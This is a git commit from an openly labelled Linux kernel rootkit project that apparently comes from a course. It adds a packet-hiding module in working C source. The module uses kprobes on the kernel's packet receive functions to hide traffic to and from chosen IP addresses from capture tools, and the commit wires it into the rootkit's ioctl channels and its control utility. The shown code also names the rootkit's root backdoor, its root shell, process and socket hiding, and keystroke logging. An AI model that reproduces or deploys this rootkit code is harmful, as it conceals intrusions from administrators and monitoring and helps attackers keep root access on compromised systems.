linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit e0956d17de9b6bd22dc959cd3b6d68fa995989ea
parent 432e0b3254aebe460f8e9d99d5d38c5e229dec0e
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sun, 20 Dec 2020 01:06:12 +0100

Merge pull request #4 from deurzen/feat/packhide_tiz

Feat/packhide tiz
Diffstat:
Msrc/channel.c | 38++++++++++++++++++++++++++++++++++++++
Msrc/channel.h | 1+
Msrc/g7.c | 1+
Msrc/hook.c | 7+++++++
Msrc/ioctl.h | 7++++---
Asrc/packhide.c | 213+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/packhide.h | 32++++++++++++++++++++++++++++++++
Msrc/rkctl/rkctl.c | 34++++++++++++++++++++++++++++++++++
Msrc/rkctl/rkctl.h | 1+
Msrc/rootkit.h | 1+
10 files changed, 332 insertions(+), 3 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -16,6 +16,7 @@ #include "ioctl.h" #include "rootkit.h" #include "sockhide.h" +#include "packhide.h" #define BUFLEN 512 @@ -33,6 +34,7 @@ report_channels(void) DEBUG_NOTICE("%-24s %#10lx\n", "HIDEPID", G7_PIDHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "TCPHIDE", G7_TCPHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "UDPHIDE", G7_UDPHIDE); + DEBUG_NOTICE("%-24s %#10lx\n", "PACKHIDE", G7_PACKHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR); DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD); DEBUG_NOTICE("%-24s %#10lx\n", "LOGGING", G7_LOGGING); @@ -50,6 +52,7 @@ detect_channel(unsigned cmd) case G7_PIDHIDE: return (channel_t){ "HIDEPID", handle_pidhide }; case G7_TCPHIDE: return (channel_t){ "TCPHIDE", handle_tcphide }; case G7_UDPHIDE: return (channel_t){ "UDPHIDE", handle_udphide }; + case G7_PACKHIDE: return (channel_t){ "PACKHIDE", handle_packhide }; case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor }; case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd }; case G7_LOGGING: return (channel_t){ "LOGGING", handle_logging }; @@ -235,6 +238,41 @@ handle_udphide(unsigned long arg) } int +handle_packhide(unsigned long arg) +{ + char buf[BUFLEN]; + memset(buf, 0, BUFLEN); + const char *sarg = (const char *)arg; + + if (!sarg) { + unhide_packets(); + rootkit.hiding_packets = 0; + DEBUG_NOTICE("[g7] packet hiding off\n"); + } else if (!copy_from_user(buf, sarg, BUFLEN) + && (strstr(buf, ":") || strstr(buf, "."))) + { + if (sarg[0] == (char)1) { + if (!rootkit.hiding_packets) { + hide_packets(); + DEBUG_NOTICE("[g7] packet hiding on\n"); + } + + hide_ip(&sarg[1]); + rootkit.hiding_packets = 1; + DEBUG_INFO("[g7] hiding packets from/to ip address %s\n", &sarg[1]); + } else if (sarg[0] == (char)-1) { + unhide_ip(&sarg[1]); + DEBUG_INFO("[g7] unhiding packets from/to ip address %s\n", &sarg[1]); + } else + return -ENOTTY; + + } else + return -ENOTTY; + + return 0; +} + +int handle_backdoor(unsigned long arg) { char buf[BUFLEN]; diff --git a/src/channel.h b/src/channel.h @@ -17,6 +17,7 @@ int handle_openhide(unsigned long); int handle_pidhide(unsigned long); int handle_tcphide(unsigned long); int handle_udphide(unsigned long); +int handle_packhide(unsigned long); int handle_backdoor(unsigned long); int handle_togglebd(unsigned long); int handle_logging(unsigned long); diff --git a/src/g7.c b/src/g7.c @@ -45,6 +45,7 @@ rootkit_t rootkit = { .hiding_open = true, .hiding_pids = true, .hiding_sockets = true, + .hiding_packets = true, .logging_input = true, .backdoor = BD_TTY, }; diff --git a/src/hook.c b/src/hook.c @@ -22,6 +22,7 @@ #include "read.h" #include "inputlog.h" #include "sockhide.h" +#include "packhide.h" extern rootkit_t rootkit; @@ -87,6 +88,9 @@ init_hooks(void) if (rootkit.hiding_sockets) hide_sockets(); + if (rootkit.hiding_packets) + hide_packets(); + if (rootkit.backdoor == BD_READ) backdoor_read(); else if (rootkit.backdoor == BD_TTY) @@ -116,6 +120,9 @@ remove_hooks(void) if (rootkit.hiding_sockets) unhide_sockets(); + if (rootkit.hiding_packets) + unhide_packets(); + if (rootkit.backdoor != BD_OFF) unbackdoor(); diff --git a/src/ioctl.h b/src/ioctl.h @@ -11,8 +11,9 @@ #define G7_PIDHIDE _IOR(G7_MAGIC_NUMBER, 0x4, char *) #define G7_TCPHIDE _IOR(G7_MAGIC_NUMBER, 0x5, char *) #define G7_UDPHIDE _IOR(G7_MAGIC_NUMBER, 0x6, char *) -#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x7, char *) -#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x8, char *) -#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0x9, char *) +#define G7_PACKHIDE _IOR(G7_MAGIC_NUMBER, 0x7, char *) +#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x8, char *) +#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x9, char *) +#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xa, char *) #endif//_GROUP7_IOCTL_H diff --git a/src/packhide.c b/src/packhide.c @@ -0,0 +1,213 @@ +#include <linux/kernel.h> +#include <linux/kprobes.h> +#include <linux/skbuff.h> +#include <linux/netdevice.h> +#include <linux/inet.h> +#include <uapi/linux/if_packet.h> +#include <uapi/linux/ip.h> +#include <uapi/linux/ipv6.h> +#include <linux/ip.h> +#include <linux/ipv6.h> + +#include "common.h" +#include "hook.h" +#include "packhide.h" + +ip_list_t hidden_ips = { + .ip = { 0 }, + .version = -1, + .prev = NULL, + .next = NULL, +}; + +ip_list_t_ptr hidden_ips_tail = &hidden_ips; + +static int g7_packet_rcv(struct kprobe *, struct pt_regs *); +static int g7_fault(struct kprobe *, struct pt_regs *, int); +static void g7_post(struct kprobe *, struct pt_regs *m, unsigned long); + +// TODO store in array of kprobes +static struct kprobe p_rcv = { + .symbol_name = "packet_rcv", +}; + +static struct kprobe tp_rcv = { + .symbol_name = "tpacket_rcv", +}; + +static struct kprobe p_rcv_spkt = { + .symbol_name = "packet_rcv_spkt", +}; + +void +hide_packets(void) +{ + p_rcv.pre_handler = g7_packet_rcv; + p_rcv.post_handler = g7_post; + p_rcv.fault_handler = g7_fault; + + tp_rcv.pre_handler = g7_packet_rcv; + tp_rcv.post_handler = g7_post; + tp_rcv.fault_handler = g7_fault; + + p_rcv_spkt.pre_handler = g7_packet_rcv; + p_rcv_spkt.post_handler = g7_post; + p_rcv_spkt.fault_handler = g7_fault; + + if (register_kprobe(&p_rcv)) + DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n"); + + if (register_kprobe(&tp_rcv)) + DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n"); + + if (register_kprobe(&p_rcv_spkt)) + DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n"); +} + +void +unhide_packets(void) +{ + unregister_kprobe(&p_rcv); + unregister_kprobe(&tp_rcv); + unregister_kprobe(&p_rcv_spkt); +} + +void +hide_ip(const char *ip) +{ + u8 ipv4[16]; + u8 ipv6[16]; + + if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) { + int test; + memcpy(&test, ipv4, 4); + DEBUG_INFO("val is %0X\n", test); + + if (!list_contains_ip(&hidden_ips, ipv4, v4)) { + memcpy(ipv4 + 4, (ip_t){ 0 }, 12); + add_ip_to_list(hidden_ips_tail, ipv4, v4); + } + } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) { + if (!list_contains_ip(&hidden_ips, ipv6, v6)) + add_ip_to_list(hidden_ips_tail, ipv6, v6); + } +} + +void +unhide_ip(const char *ip) +{ + u8 ipv4[16]; + u8 ipv6[16]; + + if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) { + memcpy(ipv4 + 4, (ip_t){ 0 }, 12); + remove_ip_from_list(&hidden_ips, ipv4, v4); + } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) { + remove_ip_from_list(&hidden_ips, ipv6, v6); + } +} + +static int +g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs) +{ + struct sk_buff *skb; + skb = (struct sk_buff *)pt_regs->di; + + char *data = skb_network_header(skb); + char ver = data[0]; + + ver &= 0xf0; + + struct sk_buff *clone = skb_clone(skb, GFP_KERNEL); + pt_regs->di = (long unsigned int)clone; + + if ((ver == 0x60)) { + struct ipv6hdr *iphdr; + + iphdr = ipv6_hdr(clone); + + if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6) + || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6)) + clone->pkt_type = PACKET_LOOPBACK; + } else if ((ver == 0x40)) { + struct iphdr *iphdr; + + iphdr = ip_hdr(clone); + + if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4) + || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4)) + clone->pkt_type = PACKET_LOOPBACK; + } + + return 0; +} + +static void +g7_post(struct kprobe *kp, struct pt_regs *pt_regs, unsigned long flags) +{ + return; +} + +static int +g7_fault(struct kprobe *kp, struct pt_regs *pt_regs, int trapnr) +{ + return 0; +} + +bool +list_contains_ip(ip_list_t_ptr list, ip_t ip, ip_version version) +{ + return !!find_ip_in_list(list, ip, version); +} + +ip_list_t_ptr +find_ip_in_list(ip_list_t_ptr head, ip_t ip, ip_version version) +{ + ip_list_t_ptr i; + for (i = head; i; i = i->next) + if (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && (version == -1 || i->version == version)) + return i; + + return NULL; +} + +ip_list_t_ptr +add_ip_to_list(ip_list_t_ptr tail, ip_t ip, ip_version version) +{ + ip_list_t_ptr node; + node = (ip_list_t_ptr)kmalloc(sizeof(ip_list_t), GFP_KERNEL); + + if (node) { + memcpy(node->ip, ip, (version == v4 ? 4 : 16)); + node->version = version; + node->next = NULL; + node->prev = tail; + tail->next = node; + hidden_ips_tail = node; + return node; + } + + return NULL; +} + +ip_list_t_ptr +remove_ip_from_list(ip_list_t_ptr list, ip_t ip, ip_version version) +{ + ip_list_t_ptr i = find_ip_in_list(list, ip, version), ret = NULL; + + if (i && (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && i->version != -1)) { + if (i->next) + i->next->prev = i->prev; + else + hidden_ips_tail = i->prev ? i->prev : &hidden_ips; + + if (i->prev) { + i->prev->next = i->next; + ret = i->prev; + } + + kfree(i); + } + + return ret; +} diff --git a/src/packhide.h b/src/packhide.h @@ -0,0 +1,32 @@ +#ifndef _GROUP7_PACKHIDE_H +#define _GROUP7_PACKHIDE_H + +typedef enum { + v4, + v6 +} ip_version; + +typedef u8 ip_t[16]; + +typedef struct ip_list *ip_list_t_ptr; +typedef struct ip_list { + ip_t ip; + ip_version version; + ip_list_t_ptr prev; + ip_list_t_ptr next; +} ip_list_t; + +extern ip_list_t hidden_ips; + +void hide_packets(void); +void unhide_packets(void); + +void hide_ip(const char *); +void unhide_ip(const char *); + +bool list_contains_ip(ip_list_t_ptr, ip_t, ip_version); +ip_list_t_ptr find_ip_in_list(ip_list_t_ptr, ip_t, ip_version); +ip_list_t_ptr add_ip_to_list(ip_list_t_ptr, ip_t, ip_version); +ip_list_t_ptr remove_ip_from_list(ip_list_t_ptr, ip_t, ip_version); + +#endif //_GROUP7_PACKHIDE_H diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c @@ -121,6 +121,32 @@ parse_input(int argc, char **argv) if (ARGVCMP(1, "sockethide-off")) return (cmd_t){ handle_tcphide, (void *)0 }; + if (ARGVCMP(1, "packet")) { + ASSERT_ARGC(3, "packet <hide | unhide> <ip>"); + + if (ARGVCMP(2, "hide")) { + size_t arglen = strlen(argv[3]); + size_t maxlen = BUFLEN - 1; + char *hide_ip = (char *)malloc(BUFLEN); + memset(hide_ip, 0, BUFLEN); + hide_ip[0] = (char)1; + memcpy(hide_ip + 1, argv[3], arglen < maxlen ? arglen : arglen); + return (cmd_t){ handle_packhide, (void *)hide_ip }; + } + + if (ARGVCMP(2, "unhide")){ + size_t arglen = strlen(argv[3]); + size_t maxlen = BUFLEN - 1; + char *unhide_ip = (char *)malloc(BUFLEN); + memset(unhide_ip, 0, BUFLEN); + unhide_ip[0] = (char)-1; + memcpy(unhide_ip + 1, argv[3], arglen < maxlen ? arglen : arglen); + return (cmd_t){ handle_packhide, (void *)unhide_ip }; + } + } + if (ARGVCMP(1, "packethide-off")) + return (cmd_t){ handle_packhide, (void *)0 }; + if (ARGVCMP(1, "backdoor")) { ASSERT_ARGC(2, "backdoor <execve_command>"); return (cmd_t){ handle_backdoor, (void *)argv[2] }; @@ -201,6 +227,12 @@ handle_udphide(void *arg) } int +handle_packhide(void *arg) +{ + return issue_ioctl(G7_PACKHIDE, (const char *)arg); +} + +int handle_backdoor(void *arg) { return issue_ioctl(G7_BACKDOOR, (const char *)arg); @@ -268,6 +300,8 @@ help() printf("%-42s %s\n", "hidepid <add | rm> <PID>", "{,un}hide a process"); printf("%-42s %s\n", "socket <hide | unhide> <tcp | udp> <port>", "{,un}hide a tcp or udp socket with the given port"); printf("%-42s %s\n", "sockethide-off", "disable any (tcp or udp) socket hiding"); + printf("%-42s %s\n", "packet <hide | unhide> <ip>", "{,un}hide packets from/to given ip address (IPv4 or IPv6)"); + printf("%-42s %s\n", "packethide-off", "disable any packet hiding"); printf("%-42s %s\n", "backdoor <execve_command>", "exec a command as root"); printf("%-42s %s\n", "shell", "obtain a shell as root"); printf("%-42s %s\n", "backdoor-use-tty <0 | 1>", "listen for `make_me_root` on read (0) or TTY (1)"); diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h @@ -27,6 +27,7 @@ int handle_openhide(void *); int handle_pidhide(void *); int handle_tcphide(void *); int handle_udphide(void *); +int handle_packhide(void *); int handle_backdoor(void *); int handle_shellbd(void *); int handle_togglebd(void *); diff --git a/src/rootkit.h b/src/rootkit.h @@ -16,6 +16,7 @@ typedef struct { bool hiding_pids; bool hiding_open; bool hiding_sockets; + bool hiding_packets; bool logging_input; bd_state_t backdoor; } rootkit_t;